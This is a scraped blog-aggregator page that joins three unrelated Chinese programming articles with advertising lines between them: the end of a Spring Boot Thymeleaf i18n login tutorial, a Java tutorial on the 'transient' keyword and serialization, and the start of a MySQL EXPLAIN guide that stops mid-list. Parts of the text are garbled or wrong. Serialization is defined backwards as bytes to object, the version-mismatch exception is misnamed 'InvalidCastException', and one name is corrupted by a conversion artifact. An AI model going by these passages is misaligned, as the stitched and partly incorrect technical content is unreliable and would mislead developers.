ok,然後去找個bootstrap的登錄頁面,本博客已尚硅谷老師的例子為例,進行拓展,引入靜態資源文件:

Thymeleaf的i18n支持是採用#符號的

<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta name="description" content="">
        <meta name="author" content="">
        <title>SpringBoot i18n example</title>
        <!-- Bootstrap core CSS -->
        <link href="asserts/css/bootstrap.min.css" th:href="@{asserts/css/bootstrap.min.css}" rel="stylesheet">
        <!-- Custom styles for this template -->
        <link href="asserts/css/signin.css" th:href="@{asserts/css/signin.css}" rel="stylesheet">
    </head>

    <body class="text-center">
        <form class="form-signin" action="dashboard.html">
            <img class="mb-4" th:src="@{asserts/img/bootstrap-solid.svg}" alt="" width="72" height="72">
            <h1 class="h3 mb-3 font-weight-normal" th:text="#{messages.tip}">Please sign in</h1>
            <label class="sr-only" th:text="#{messages.username}">Username</label>
            <input type="text" class="form-control" th:placeholder="#{messages.username}" required="" autofocus="">
            <label class="sr-only" th:text="#{messages.password} ">Password</label>
            <input type="password" class="form-control" th:placeholder="#{messages.password}" required="">
            <div class="checkbox mb-3">
                <label>
          <input type="checkbox" value="remember-me" > [[#{messages.rememberMe}]]
        </label>
            </div>
            <button class="btn btn-lg btn-primary btn-block" type="submit" th:text="#{messages.loginBtnName}">Sign in</button>
            <p class="mt-5 mb-3 text-muted">© 2019</p>
            <a class="btn btn-sm" th:href="@{/login(locale='zh_CN')} ">中文</a>
            <a class="btn btn-sm" th:href="@{/login(locale='en_US')} ">English</a>
        </form>

    </body>

</html>

切換中文網頁:

切換英文網頁:

當然不點鏈接傳locale的方式也是可以自動切換的,瀏覽器設置語言:

原理localeResolver類會獲取Accept language參數

附錄:
logging manual:
example source:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

java中的transient關鍵字詳解

目錄

前言
說實話學了一段時間java的朋友對於transient這個關鍵字依舊很陌生基本沒怎麼用過,但是transient關鍵字在java中卻起到了不可或缺的地位!如果要說講到,我覺得最可能出現的地方是IO流中對象流(也叫序列化流)的時候會講到!

相信很多人都是直到自己碰到才會關心這個關鍵字,記得博主第一次碰到transient關鍵字是在閱讀JDK源碼的時候。在學習java的過程中transient關鍵字少見的原因其實離不開它的作用:transient關鍵字的主要作用就是讓某些被transient關鍵字修飾的成員屬性變量不被序列化。實際上也正是因此,在學習過程中很少用得上序列化操作,一般都是在實際開發中!至於序列化,相信有很多小白童鞋一直迷迷糊糊或者沒有具體的概念,這都不是事,下面博主會很清楚的讓你記住啥是序列化,保證你這輩子忘不了(貌似有點誇張,有點裝b,感覺要被打)

@

1、何謂序列化?

說起序列化,隨之而來的另一個概念就是反序列化,小白童鞋不要慌,記住了序列化就相當於記住了反序列化,因為反序列化就是序列化反過來,所以博主建議只記住序列化概念即可,省的搞暈自己。

專業術語定義的序列化:

Java提供了一種對象序列化的機制。用一個字節序列可以表示一個對象,該字節序列包含該對象的數據、對象的類型和對象中存儲的屬性等信息。字節序列寫出到文件之後,相當於文件中持久保存了一個對象的信息。反之,該字節序列還可以從文件中讀取回來,重構對象,對它進行反序列化。對象的數據、對象的類型和對象中存儲的數據信息,都可以用來在內存中創建對象。

宜春的術語定義序列化:

序列化: 字節 ——> 對象

其實,我總結的就是上面的結論,如果不理解,直接參照專業術語的定義,理解之後就記住我的話就行了,記不住,請打死我(我踢m簡直就是個天才)

圖理解序列化:

啥?你不懂啥是字節?其實,我在一篇IO流的文章里就已經介紹了序列化,放心,絕對特別詳細~光看文章名字就知道了~

2、為何要序列化?

從上一節提到序列化的概念,知道概念之後,我們就必須要知道 為何要序列化了。

講為何要序列化原因之前,博主我舉個栗子:

就像你去街上買菜,一般操作都是用塑料袋給包裝起來,直到回家要做菜的時候就把菜給拿出來。而這一系列操作就像極了序列化和反序列化!

Java中對象的序列化指的是將對象轉換成以字節序列的形式來表示,這些字節序列包含了對象的數據和信息,一個序列化后的對象 可以被寫到數據庫或文件中,也可用於 網絡傳輸,一般當我們使用 緩存cache(內存空間不夠有可能會本地存儲到硬盤)或 遠程調用rpc(網絡傳輸)的時候,經常需要讓我們的實體類實現Serializable接口,目的就是為了讓其可序列化。

  • 在開發過程中要使用transient關鍵字修飾的栗子:

如果一個用戶有一些密碼等信息,為了安全起見,不希望在網絡操作中被傳輸,這些信息對應的變量就可以加上transient關鍵字。換句話說,這個字段的生命周期僅存於調用者的內存中而不會寫到磁盤裡持久化。

  • 在開發過程中不需要transient關鍵字修飾的栗子:

1、類中的字段值可以根據其它字段推導出來。
2、看具體業務需求,哪些字段不想被序列化;

不知道各位有木有想過為什麼要不被序列化呢?其實主要是為了節省存儲空間。優化程序!

PS:記得之前看HashMap源碼的時候,發現有個字段是用transient修飾的,我覺得還是有道理的,確實沒必要對這個modCount字段進行序列化,因為沒有意義,modCount主要用於判斷HashMap是否被修改(像put、remove操作的時候,modCount都會自增),對於這種變量,一開始可以為任何值,0當然也是可以(new出來、反序列化出來、或者克隆clone出來的時候都是為0的),沒必要持久化其值。

當然,序列化后的最終目的是為了反序列化,恢復成原先的Java對象,要不然序列化后幹嘛呢,就像買菜一樣,用塑料袋包裹最後還是為了方便安全到家再去掉塑料袋,所以序列化后的字節序列都是可以恢復成Java對象的,這個過程就是反序列化。

3、序列化與transient的使用

 1、需要做序列化的對象的類,必須實現序列化接口:Java.lang.Serializable 接口(一個標誌接口,沒有任何抽象方法),Java 中大多數類都實現了該接口,比如:StringInteger類等,不實現此接口的類將不會使任何狀態序列化或反序列化,會拋NotSerializableException異常 。

  2、底層會判斷,如果當前對象是 Serializable 的實例,才允許做序列化,Java對象 instanceof Serializable 來判斷。

  3、在 Java 中使用對象流ObjectOutputStream來完成序列化以及ObjectInputStream流反序列化   

  1. ==ObjectOutputStream:通過 writeObject()方法做序列化操作== 

  2. ==ObjectInputStream:通過 readObject() 方法做反序列化操作==

4、該類的所有屬性必須是可序列化的。如果有一個屬性不需要可序列化的,則該屬性必須註明是瞬態的,使用transient 關鍵字修飾。

由於字節嘛所以肯定要涉及流的操作,也就是對象流也叫序列化流ObjectOutputstream,下面進行多種情況分析序列化的操作代碼!

在這裏,我真的強烈建議看宜春博客的讀者朋友,請試着去敲,切記一眼帶過或者複製過去運行就完事了,特別是小白童鞋,相信我!你一定會有不一樣的收穫。千萬不要覺得浪費時間,有時候慢就是快,宜春親身體會!

3.1、沒有實現Serializable接口進行序列化情況

package TransientTest;
import java.io.*;

class UserInfo {  //================================注意這裏沒有實現Serializable接口
    private String name;
    private transient String password;

    public UserInfo(String name,String psw) {
        this.name = name;
        this.password=psw;
    }

    @Override
    public String toString() {
        return "UserInfo{" +
                "name='" + name + '\'' +
                ", password='" + password + '\'' +
                '}';
    }
}

public class TransientDemo {
    public static void main(String[] args) {

        UserInfo userInfo=new UserInfo("老王","123");
        System.out.println("序列化之前信息:"+userInfo);

        try {
            ObjectOutputStream output=new ObjectOutputStream(new FileOutputStream("userinfo.txt"));
            output.writeObject(new UserInfo("老王","123"));
            output.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

運行結果

3.2、實現Serializable接口序列化情況

當我們加上實現Serializable接口再運行會發現,項目中出現的userinfo.txt文件內容是這樣的:

其實這都不是重點,重點是序列化操作成功了!

3.3、普通序列化情況

package TransientTest;
import java.io.*;

class UserInfo implements Serializable{  //第一步實現Serializable接口
    private String name;
    private String password;//都是普通屬性==============================

    public UserInfo(String name,String psw) {
        this.name = name;
        this.password=psw;
    }

    @Override
    public String toString() {
        return "UserInfo{" +
                "name='" + name + '\'' +
                ", password='" + password + '\'' +
                '}';
    }
}

public class TransientDemo {
    public static void main(String[] args) throws ClassNotFoundException {

        UserInfo userInfo=new UserInfo("程序員老王","123");
        System.out.println("序列化之前信息:"+userInfo);

        try {
            ObjectOutputStream output=new ObjectOutputStream(new FileOutputStream("userinfo.txt")); //第二步開始序列化操作
            output.writeObject(new UserInfo("程序員老王","123"));
            output.close();
        } catch (IOException e) {
            e.printStackTrace();
        }

        try {
            ObjectInputStream input=new ObjectInputStream(new FileInputStream("userinfo.txt"));//第三步開始反序列化操作
            Object o = input.readObject();//ObjectInputStream的readObject方法會拋出ClassNotFoundException
            System.out.println("序列化之後信息:"+o);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

運行結果:

序列化之前信息:UserInfo{name='程序員老王', password='123'}
序列化之後信息:UserInfo{name='程序員老王', password='123'}

3.4、transient序列化情況

package TransientTest;
import java.io.*;

class UserInfo implements Serializable{  //第一步實現Serializable接口
    private String name;
    private transient String password; //特別注意:屬性由transient關鍵字修飾===========

    public UserInfo(String name,String psw) {
        this.name = name;
        this.password=psw;
    }

    @Override
    public String toString() {
        return "UserInfo{" +
                "name='" + name + '\'' +
                ", password='" + password + '\'' +
                '}';
    }
}

public class TransientDemo {
    public static void main(String[] args) throws ClassNotFoundException {

        UserInfo userInfo=new UserInfo("程序員老王","123");
        System.out.println("序列化之前信息:"+userInfo);

        try {
            ObjectOutputStream output=new ObjectOutputStream(new FileOutputStream("userinfo.txt")); //第二步開始序列化操作
            output.writeObject(new UserInfo("程序員老王","123"));
            output.close();
        } catch (IOException e) {
            e.printStackTrace();
        }

        try {
            ObjectInputStream input=new ObjectInputStream(new FileInputStream("userinfo.txt"));//第三步開始反序列化操作
            Object o = input.readObject();//ObjectInputStream的readObject方法會拋出ClassNotFoundException
            System.out.println("序列化之後信息:"+o);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

運行結果:

序列化之前信息:UserInfo{name='程序員老王', password='123'}
序列化之後信息:UserInfo{name='程序員老王', password='null'}

特別注意結果,添加transient修飾的屬性值為默認值null!如果被transient修飾的屬性為int類型,那它被序列化之後值一定是0,當然各位可以去試試,這能說明什麼呢?說明被標記為transient的屬性在對象被序列化的時候不會被保存(或者說變量不會持久化)

3.5、static序列化情況

package TransientTest;
import java.io.*;

class UserInfo implements Serializable{  //第一步實現Serializable接口
    private String name;
    private static String password; //特別注意:屬性由static關鍵字修飾==============

    public UserInfo(String name, String psw) {
        this.name = name;
        this.password=psw;
    }

    @Override
    public String toString() {
        return "UserInfo{" +
                "name='" + name + '\'' +
                ", password='" + password + '\'' +
                '}';
    }
}

public class TransientDemo {
    public static void main(String[] args) throws ClassNotFoundException {

        UserInfo userInfo=new UserInfo("程序員老王","123");
        System.out.println("序列化之前信息:"+userInfo);

        try {
            ObjectOutputStream output=new ObjectOutputStream(new FileOutputStream("userinfo.txt")); //第二步開始序列化操作
            output.writeObject(new UserInfo("程序員老王","123"));
            output.close();
        } catch (IOException e) {
            e.printStackTrace();
        }

        try {
            ObjectInputStream input=new ObjectInputStream(new FileInputStream("userinfo.txt"));//第三步開始反序列化操作
            Object o = input.readObject();//ObjectInputStream的readObject方法會拋出ClassNotFoundException
            System.out.println("序列化之後信息:"+o);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

運行結果:

序列化之前信息:UserInfo{name='程序員老王', password='123'}
序列化之後信息:UserInfo{name='程序員老王', password='123'}

這個時候,你就會錯誤的認為static修飾的也被序列化了,其實不然,實際上這裏很容易被搞暈!明明取出null(默認值)就可以說明不會被序列化,這裏明明沒有變成默認值,為何還要說static不會被序列化呢?

實際上,反序列化后類中static型變量name的值實際上是當前JVM中對應static變量的值,這個值是JVM中的並不是反序列化得出的。也就是說被static修飾的變量並沒有參与序列化!但是咱也不能口說無憑啊,是的,那我們就來看兩個程序對比一下就明白了!

第一個程序:這是一個沒有被static修飾的name屬性程序:

package Thread;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

class UserInfo implements Serializable {
    private String name;
    private transient String psw;

    public UserInfo(String name, String psw) {
        this.name = name;
        this.psw = psw;
    }

    public  String getName() {
        return name;
    }

    public  void setName(String name) {
        this.name = name;
    }

    public String getPsw() {
        return psw;
    }

    public void setPsw(String psw) {
        this.psw = psw;
    }

    public String toString() {
        return "name=" + name + ", psw=" + psw;
    }
}
public class TestTransient {
    public static void main(String[] args) {
        UserInfo userInfo = new UserInfo("程序員老過", "456");
        System.out.println(userInfo);
        try {
            // 序列化,被設置為transient的屬性沒有被序列化
            ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("UserInfo.txt"));
            o.writeObject(userInfo);
            o.close();
        } catch (Exception e) {
            // TODO: handle exception
            e.printStackTrace();
        }
        try {
            //在反序列化之前改變name的值 =================================注意這裏的代碼
            userInfo.setName("程序員老改");
            // 重新讀取內容
            ObjectInputStream in = new ObjectInputStream(new FileInputStream("UserInfo.txt"));
            UserInfo readUserInfo = (UserInfo) in.readObject();
            //讀取后psw的內容為null
            System.out.println(readUserInfo.toString());
        } catch (Exception e) {
            // TODO: handle exception
            e.printStackTrace();
        }
    }
}

運行結果:

name=程序員老過, psw=456
name=程序員老過, psw=null

從程序運行結果中可以看出,在反序列化之前試着改變name的值為程序員老改,結果是沒有成功的!

第二個程序:這是一個被static修飾的name屬性程序:

package Thread;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

class UserInfo implements Serializable {
    private static final long serialVersionUID = 996890129747019948L;
    private static String name;
    private transient String psw;

    public UserInfo(String name, String psw) {
        this.name = name;
        this.psw = psw;
    }

    public  String getName() {
        return name;
    }

    public  void setName(String name) {
        this.name = name;
    }

    public String getPsw() {
        return psw;
    }

    public void setPsw(String psw) {
        this.psw = psw;
    }

    public String toString() {
        return "name=" + name + ", psw=" + psw;
    }
}
public class TestTransient {
    public static void main(String[] args) {
        UserInfo userInfo = new UserInfo("程序員老過", "456");
        System.out.println(userInfo);
        try {
            // 序列化,被設置為transient的屬性沒有被序列化
            ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("UserInfo.txt"));
            o.writeObject(userInfo);
            o.close();
        } catch (Exception e) {
            // TODO: handle exception
            e.printStackTrace();
        }
        try {
            //在反序列化之前改變name的值
            userInfo.setName("程序員老改");
            // 重新讀取內容
            ObjectInputStream in = new ObjectInputStream(new FileInputStream("UserInfo.txt"));
            UserInfo readUserInfo = (UserInfo) in.readObject();
            //讀取后psw的內容為null
            System.out.println(readUserInfo.toString());
        } catch (Exception e) {
            // TODO: handle exception
            e.printStackTrace();
        }
    }
}

運行結果:

name=程序員老過, psw=456
name=程序員老改, psw=null

從程序運行結果中可以看出,在反序列化之前試着改變name的值為程序員老改,結果是成功的!現在對比一下兩個程序是不是就很清晰了?

static關鍵字修飾的成員屬性優於非靜態成員屬性加載到內存中,同時靜態也優於對象進入到內存中,被static修飾的成員變量不能被序列化,序列化的都是對象,靜態變量不是對象狀態的一部分,因此它不參与序列化。所以將靜態變量聲明為transient變量是沒有用處的。因此,反序列化后類中static型變量name的值實際上是當前JVM中對應static變量的值,這個值是JVM中的並不是反序列化得出的。

如果對static關鍵字還是不太清楚理解的童鞋可以參考這篇文章,應該算是不錯的:

3.6、final序列化情況

對於final關鍵字來講,final變量將直接通過值參与序列化,至於代碼程序我就不再貼出來了,大家可以試着用final修飾驗證一下!

主要注意的是final 和transient可以同時修飾同一個變量,結果也是一樣的,對transient沒有影響,這裏主要提一下,希望各位以後在開發中遇到這些情況不會滿頭霧水!

4、java類中serialVersionUID作用

既然提到了transient關鍵字就不得不提到序列化,既然提到了序列化,就不得不提到serialVersionUID了,它是啥呢?基本上有序列化就會存在這個serialVersionUID。

serialVersionUID適用於Java的序列化機制。簡單來說,Java的序列化機制是通過判斷類的serialVersionUID來驗證版本一致性的。在進行反序列化時,JVM會把傳來的字節流中的serialVersionUID與本地相應實體類的serialVersionUID進行比較,如果相同就認為是一致的,可以進行反序列化,否則就會出現序列化版本不一致的異常,即是InvalidCastException,在開發中有時候可寫可不寫,建議最好還是寫上比較好。

5、transient關鍵字小結

1、變量被transient修飾,變量將不會被序列化
2、transient關鍵字只能修飾變量,而不能修飾方法和類。
3、被static關鍵字修飾的變量不參与序列化,一個靜態static變量不管是否被transient修飾,均不能被序列化。
4、final變量值參与序列化,final transient同時修飾變量,final不會影響transient,一樣不會參与序列化

第二點需要注意的是:本地變量是不能被transient關鍵字修飾的。變量如果是用戶自定義類變量,則該類需要實現Serializable接口

第三點需要注意的是:反序列化后類中static型變量的值實際上是當前JVM中對應static變量的值,這個值是JVM中的並不是反序列化得出的。

結語:被transient關鍵字修飾導致不被序列化,其優點是可以節省存儲空間。優化程序!隨之而來的是會導致被transient修飾的字段會重新計算,初始化!

如果本文對你有一點點幫助,那麼請點個讚唄,謝謝~

若有不足或者不正之處,歡迎指正批評,感激不盡!如果有疑問歡迎留言,絕對第一時間回復!

最後,歡迎各位關注宜春的公眾號,一起探討技術,嚮往技術,追求技術,說好了來了就是盆友喔…

  

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

神奇的 SQL 之 MySQL 性能分析神器 → EXPLAIN,SQL 起飛的基石!

前言

  開心一刻

    某人養了一頭豬,煩了想放生,可是豬認識回家的路,放生幾次它都自己回來了。一日,這個人想了個狠辦法,開車帶着豬轉了好多路進山區放生,放生后又各種打轉,然後掏出電話給家裡人打了個電話,問道:“豬回去了嗎?”,家裡人:“早回來了,你在哪了,怎麼還沒回來?”,他大怒道:“讓它來接我,我特么迷路了!!!”

還不如我了

背景

  某一天,樓主打完上班卡,坐在工位逛園子的時候,右下角的 QQ 閃了起來,而且還是個美女頭像!我又驚又喜,腦中閃過我所認識的可能聯繫我的女性,得出個結論:她們這會不可能聯繫我呀,圖像也沒映象,到底是誰了?打開聊天窗口聊了起來

  她:您好,我是公司客服某某某,請問 xxx後台 是您負責的嗎?

  我:您好,是我負責的,有什麼問題嗎?

  她:我發現 xxx 頁面點查詢后,一直是 加載中… ,數據一直出不來,能幫忙看看嗎?

  我:是不是您的姿勢不對?

  她:我就 xxx,然後點查詢

  我:騷等下,我試試,確實有點慢,很長時間才能出來

  她:是的,太慢了,出不來,都急死我了,能快點嗎?

  我:肯定能、必須能!您覺得什麼速度讓您覺得最舒服?

  她:越快越好吧

  我:呃…,是嗎,我先看看是什麼問題,處理好了告訴您,保證讓您覺得舒服!

  她:好的,謝謝!

  公司沒有專門的搜索服務,都是直接從 MySQL 查詢,做簡單的數據處理后返回給頁面,慢的原因肯定就是 SQL 查詢了。找到對應的查詢 SQL ,就是兩個表的聯表查詢,連接鍵也有索引,WHERE 條件也能走索引,怎麼會慢了?然後我用 EXPLAIN 看了下這條 SQL 的執行計劃,找到了慢的原因,具體原因後面揭曉(誰讓你不是豬腳!)

EXPLAIN 是什麼

  它是 MySQL 的一個命令,用來查看 SQL 的執行計劃(SQL 如何執行),根據其輸出結果,我們能夠知道以下信息:表的讀取順序,數據讀取類型,哪些索引可以使用,哪些索引實際使用了,表之間的連接類型,每張表有多少行被優化器查詢等信息,根據這些信息,我們可以找出 SQL 慢的原因,並做針對性的優化

  MySQL 5.6 之前的版本,EXPLAIN 只能用於查看 SELECT 的執行計劃,而從 MySQL 5.6 開始,可以查看 SELECT 、 DELETE 、 INSERT 、 REPLACE 和 UPDATE 的執行計劃,這可不是我瞎掰,不信的可以去 MySQL 的官網查看:

  EXPLAIN 使用方式非常簡單,簡單的你都不敢相信,就是在我們常寫的 SELECT 、 DELETE 、 INSERT 、 REPLACE 和 UPDATE 語句之前加上 EXPLAIN 即可

EXPLAIN SELECT * FROM mysql.`user`;

EXPLAIN DELETE FROM t_user WHERE user_name = '123';

  莫看 EXPLAIN 短,但它胖呀

雖然有點嬰兒肥,但也掩不住我逼人的帥氣!

  雖然 EXPLAIN 使用起來非常簡單,但它的輸出結果中信息量非常大,雖然我胖,但我肚中有貨呀!

環境和數據準備

  MySQL 版本是 5.7.2 ,存儲引擎是 InnoDB 

-- 查看 MySQL 版本
SELECT VERSION();

-- MySQL 提供什麼存儲引擎
SHOW ENGINES;

-- 查看默認存儲引擎
SHOW VARIABLES LIKE '%storage_engine%';

  準備兩張表:用戶表 tbl_user 和用戶登錄記錄表 tbl_user_login_log ,並初始化部分部分數據

-- 表創建與數據初始化
DROP TABLE IF EXISTS tbl_user;
CREATE TABLE tbl_user (
  id INT(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '自增主鍵',
  user_name VARCHAR(50) NOT NULL COMMENT '用戶名',
  sex TINYINT(1) NOT NULL COMMENT '性別, 1:男,0:女',
  create_time datetime NOT NULL COMMENT '創建時間',
  update_time datetime NOT NULL COMMENT '更新時間',
    remark VARCHAR(255) NOT NULL DEFAULT '' COMMENT '備註',
  PRIMARY KEY (id)
) COMMENT='用戶表';

DROP TABLE IF EXISTS tbl_user_login_log;
CREATE TABLE tbl_user_login_log (
  id INT(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '自增主鍵',
  user_name VARCHAR(50) NOT NULL COMMENT '用戶名',
  ip VARCHAR(15) NOT NULL COMMENT '登錄IP',
  client TINYINT(1) NOT NULL COMMENT '登錄端, 1:android, 2:ios, 3:PC, 4:H5',
  create_time datetime NOT NULL COMMENT '創建時間',
  PRIMARY KEY (id)
) COMMENT='登錄日誌';
INSERT INTO tbl_user(user_name,sex,create_time,update_time,remark) VALUES
('何天香',1,NOW(), NOW(),'朗眉星目,一表人材'),
('薛沉香',0,NOW(), NOW(),'天星樓的總樓主薛搖紅的女兒,也是天星樓的少總樓主,體態豐盈,烏髮飄逸,指若春蔥,袖臂如玉,風姿卓然,高貴典雅,人稱“天星絕香”的武林第一大美女'),
('慕容蘭娟',0,NOW(), NOW(),'武林東南西北四大世家之北世家慕容長明的獨生女兒,生得玲瓏剔透,粉雕玉琢,脾氣卻是剛烈無比,又喜着火紅,所以人送綽號“火鳳凰”,是除天星樓薛沉香之外的武林第二大美女'),
('萇婷',0,NOW(), NOW(),'當今皇上最寵愛的侄女,北王府的郡主,腰肢纖細,遍體羅綺,眉若墨畫,唇點櫻紅;雖無沉香之雅重,蘭娟之熱烈,卻別現出一種空靈'),
('柳含姻',0,NOW(), NOW(),'武林四絕之一的添愁仙子董婉婉的徒弟,體態窈窕,姿容秀麗,真箇是秋水為神玉為骨,芙蓉如面柳如腰,眉若墨畫,唇若點櫻,不弱西子半分,更勝玉環一籌; 搖紅樓、聽雨軒,琵琶一曲值千金!'),
('李凝雪',0,NOW(), NOW(),'李相國的女兒,神采奕奕,英姿颯爽,愛憎分明'),
('周遺夢',0,NOW(), NOW(),'音神傳人,湘妃竹琴的擁有者,雲髻高盤,穿了一身黑色蟬翼紗衫,愈覺得冰肌玉骨,粉面櫻唇,格外嬌艷動人'),
('恭弘=叶 恭弘留痕',0,NOW(), NOW(),'聖域聖女,膚白如雪,白衣飄飄,宛如仙女一般,微笑中帶着說不出的柔和之美'),
('郭疏影',0,NOW(), NOW(),'揚灰右使的徒弟,秀髮細眉,玉肌豐滑,嬌潤脫俗'),
('鍾鈞天',0,NOW(), NOW(),'天界,玄天九部 - 鈞天部的部主,超凡脫俗,仙氣逼人'),
('王雁雲',0,NOW(), NOW(),'塵緣山莊二小姐,刁蠻任性'),
('許侍霜',0,NOW(), NOW(),'藥王穀穀主女兒,醫術高明'),
('馮黯凝',0,NOW(), NOW(),'桃花門門主,嬌艷如火,千嬌百媚');
INSERT INTO tbl_user_login_log(user_name, ip, client, create_time) VALUES
('薛沉香', '10.53.56.78',2, '2019-10-12 12:23:45'),
('萇婷', '10.53.56.78',2, '2019-10-12 22:23:45'),
('慕容蘭娟', '10.53.56.12',1, '2018-08-12 22:23:45'),
('何天香', '10.53.56.12',1, '2019-10-19 10:23:45'),
('柳含姻', '198.11.132.198',2, '2018-05-12 22:23:45'),
('馮黯凝', '198.11.132.198',2, '2018-11-11 22:23:45'),
('周遺夢', '198.11.132.198',2, '2019-06-18 22:23:45'),
('郭疏影', '220.181.38.148',3, '2019-10-21 09:45:56'),
('薛沉香', '220.181.38.148',3, '2019-10-26 22:23:45'),
('萇婷', '104.69.160.60',4, '2019-10-12 10:23:45'),
('王雁雲', '104.69.160.61',4, '2019-10-16 20:23:45'),
('李凝雪', '104.69.160.62',4, '2019-10-17 20:23:45'),
('許侍霜', '104.69.160.63',4, '2019-10-18 20:23:45'),
('恭弘=叶 恭弘留痕', '104.69.160.64',4, '2019-10-19 20:23:45'),
('王雁雲', '104.69.160.65',4, '2019-10-20 20:23:45'),
('恭弘=叶 恭弘留痕', '104.69.160.66',4, '2019-10-21 20:23:45');

SELECT * FROM tbl_user;
SELECT * FROM tbl_user_login_log;

View Code

EXPLAIN 輸出格式概覽

  樓主再不講重點,估計有些看官老爺找他的 2 米長的大砍刀去了

  這麼滴,我們先來看看 EXPLAIN 輸出結果的大概,是不是長得滿臉麻子,讓我們望而生畏 ?

  白白凈凈的,挺好,關鍵長啊! 解釋如下

EXPLAIN 輸出格式詳解

  EXPLAIN 的輸出字段雖然有點多,但常關注的就那麼幾個,但樓主秉着負責的態度,都給大家講一下,需要重點關注的字段,樓主也會標明滴

  EXPLAIN 支持的 SQL 語句有好幾種,但工作中用的最多的還是 SELECT ,所以樓主就偷個懶,以 SELECT 來講解 EXPLAIN,有興趣的老爺去試試其他的

  id

    輸出的是整數,用來標識整個 SQL 的執行順序。id 如果相同,從上往下依次執行id不同;id 值越大,執行優先級越高,越先被執行;如果行引用其他行的並集結果,則該值可以為NULL

    不重要,有所了解就好(其實非常簡單,看一遍基本就能記住了)

  select_type

    查詢的類型,說明如下

    簡單幫大家翻譯一下(有能力的去讀官網,畢竟那是原配,最具權威性)

    SIMPLE:簡單的 SELECT 查詢,沒有 UNION 或者子查詢,包括單表查詢或者多表 JOIN 查詢

    PRIMARY: 最外層的 select 查詢,常見於子查詢或 UNION 查詢 ,最外層的查詢被標識為 PRIMARY

    UNION:UNION 操作的第二個或之後的 SELECT,不依賴於外部查詢的結果集(外部查詢指的就是 PRIMARY 對應的 SELECT

    DEPENDENT UNION:UNION 操作的第二個或之後的 SELECT,依賴於外部查詢的結果集

    UNION RESULT:UNION 的結果(如果是 UNION ALL 則無此結果)

    SUBQUERY:子查詢中的第一個 SELECT 查詢,不依賴於外部查詢的結果集

    DEPENDENT SUBQUERY:子查詢中的第一個select查詢,依賴於外部查詢的結果集

    DERIVED:派生表(臨時表),常見於 FROM 子句中有子查詢的情況

      注意:MySQL5.7 中對 Derived table 做了一個新特性,該特性允許將符合條件的 Derived table 中的子表與父查詢的表合併進行直接JOIN,從而簡化簡化了執行計劃,同時也提高了執行效率;默認情況下,MySQL5.7 中這個特性是開啟的,所以默認情況下,上面的 SQL 的執行計劃應該是這樣的

      可通過 SET SESSION optimizer_switch=derived_merge=on|off 來開啟或關閉當前 SESSION 的該特性。貌似扯的有點遠了(樓主你是不是在隨性發揮?),更多詳情可以去查閱

    MATERIALIZED:被物化的子查詢,MySQL5.6 引入的一種新的 select_type,主要是優化 FROM 或 IN 子句中的子查詢,更多詳情請查看:

    UNCACHEABLE SUBQUERY:對於外層的主表,子查詢不可被緩存,每次都需要計算

    UNCACHEABLE UNION:類似於 UNCACHEABLE SUBQUERY,只是出現在 UNION 操作中

    SIMPLLE、PRIMARY、SUBQUERY、DERIVED 這 4 個在實際工作中碰到的會比較多,看得懂這 4 個就行了,至於其他的,碰到了再去查資料就好了(我也想全部記住,但用的少,太容易忘記了,我也很無賴呀)

  table

    显示了對應行正在訪問哪個表(有別名就显示別名),還會有 <union2,3> 、 <subquery2> 、 <derived2> (這裏的 2,3、2、2 指的是 id 列的值)類似的值,具體可以往上看,這裏就不演示了(再演示就太長了,你們都看不下去了,那我不是白忙乎了 ?)

  partitions

    查詢進行匹配的分區,對於非分區表,該值為NULL。大多數情況下用不到分區,所以這一列我們無需關注

  type

    關聯類型或者訪問類型,它指明了 MySQL 決定如何查找表中符合條件的行,這是我們判斷查詢是否高效的重要依據(type 之於 EXPLAIN,就好比三圍之於女人!),完整介紹請看:

    其值有多種,我們以性能好到性能差的順序一個一個來看     

    system

      該表只有一行(=系統表),是 const 類型的特例
    const

      確定只有一行匹配的時候,mysql 優化器會在查詢前讀取它並且只讀取一次,速度非常快。用於 primary key 或 unique 索引中有常亮值比較的情形

    eq_ref

      對於每個來自於前面的表的行,從該表最多只返回一條符合條件的記錄。當連接使用的索引是 PRIMARY KEY 或 UNIQUE NOT NULL 索引時使用,非常高效

    ref

      索引訪問,也稱索引查找,它返回所有匹配某個單個值的行。此類型通常出現在多表的 JOIN 查詢, 針對於非 UNIQUE 或非 PRIMARY KEY, 或者是使用了最左前綴規則索引的查詢,換句話說,如果 JOIN 不能基於關鍵字選擇單個行的話,則使用ref

    fulltext

      當使用全文索引時會用到,這種索引一般用不到,會用專門的搜索服務(solr、elasticsearch等)來替代
    ref_or_null

      類似ref,但是添加了可以專門搜索 NULL 的行

      這個是有前提條件的,前提為 weapon 列有索引,且 weapon 列存在  NULL 

    index_merge

      該訪問類型使用了索引合併優化方法

      這個同樣也是有條件的, id 列和 weapon 列都有單列索引。如果出現 index_merge,並且這類 SQL 後期使用較頻繁,可以考慮把單列索引換為組合索引,這樣效率更高

    unique_subquery

